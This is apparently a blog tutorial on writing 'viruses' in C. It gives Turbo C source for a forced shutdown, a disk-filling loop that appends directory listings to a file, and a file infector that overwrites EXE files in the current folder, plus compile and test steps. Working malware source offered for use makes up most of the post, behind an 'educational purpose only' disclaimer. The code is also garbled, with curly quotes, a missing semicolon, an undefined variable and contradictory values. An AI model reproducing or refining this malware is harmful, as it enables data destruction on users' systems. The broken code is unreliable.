Hi ,every computer programing students have a dream to make a computer virus. Here we will study simple virus program created in c.(only for study pupose)You test the program in your own computer.There are several types of viruses with different functions.Some of which delete your computers’ important files and folders,some change the configurations of your computer system,some dump your hard disc.There are some which can damage your RAM permenently.
(1)The c program which shutdown the windows operating system
Write the following code in tubo c.
CODE:
void main(void)
{
system(“shutdown-s”);
}
suppose the above.Let file name is close.c and compile and execute the above code.Now close the turbo c compiler and open the directory in window you have saved the close.c (default directory C:\TC\BIN) and double click its exe file (close.exe).After some time your window will shutdown.
(2) The c program which jam your hard disc.
CODE:
/*virus.exe*/
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system(“dir>>â.ša.exe”);
}
}
here a simple virus program but it has ability to jam your hard disc.The program make a self growing file which grow to few MB and continue infinitely.How it works?-The system call “dir>>â.ša.exe” will execute the dos command ‘dir’ and redirect its output to a file “â.ša.exe”.So running the program in a folder having many files and folders will increase the size of “â.ša.exe” in great amount.This process will continue infinitely as this is in while(1) loop.Remember to recover from this virus infection simply delete the virus.exe file.
How To Create Virus in C
Hi,here we will discuss about how to create a virus program in C language and execute.So first we want to know about what is Virus?.Computer virus is a computer program that can copy itself and infect a computer.A virus can spread from one computer to another through different medias(internet,removable media-floppy,USB drive,CD,DVD).
Here i published a simple virus program to show how to create virus in C.
WARNING:FOR EDUCATIONAL PURPOSE ONLY.NOT MISUSE.
SOURCE CODE:
#include<stdio.h>
#include<conio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048]
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if (host==NULL) goto next;
x=89088;
printf(infecting %sn”,ffblk.ff_name,a);
while(x<2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,i,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE!(total files infected=%d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
1.Copy the virus source code into compiler(Borland tc++ 3.0).press Alt+F9 to compile.
2.Press F9 to generate the EXE file(DO NOT PRESS CLT+F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORIES. )
3.Note down the size of generated EXE files in bytes(click the properties of EXE file for note down the size)
4.Change the value of x in the source code with the noted size(IN THE ABOVE SOURCE CODE X=88089,CHANGE IT)
5.Once again follow the step1 and step2.Now the generated EXE file is ready to infect
HOW TO TEST THE WORKING OF VIRUS:
1.Open new empty folder
2.Put some EXE files(By searching for *.EXE in search and pasting in the new folder)
3.Run the virus EXE file.There you will see all the files in the current directory get infected
4.All the infected files will be ready to reinfect.
For more virus programs Click HERE
No comments:
Post a Comment